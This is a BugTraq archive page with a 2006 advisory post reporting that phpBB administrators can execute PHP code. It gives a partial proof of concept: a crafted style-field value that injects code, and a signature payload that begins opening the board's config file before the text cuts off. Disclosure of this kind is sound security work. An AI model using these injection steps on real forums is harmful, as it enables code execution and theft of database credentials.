BugTraq
Name:
Email:
*Note: Email address will appear as "user domain ext" to prevent harvesting.
Subject:
Message:
 
phpBB Admin command execution Apr 14 2006 03:03PM
noch22 gmail com
On a phpBB board, a user having access to the admin panel is able to execute PHP code:

This example will execute $user_sig as PHP code:

Go to Administration Panel > Styles Admin > Management > subSilver > Edit
Set "Font Colour 3" to "'./*"
Profile
Set Signature to "$fd=fopen($phpbb_root_path.'conf...

[ more ]  
 

Privacy Statement
Copyright 2010, SecurityFocus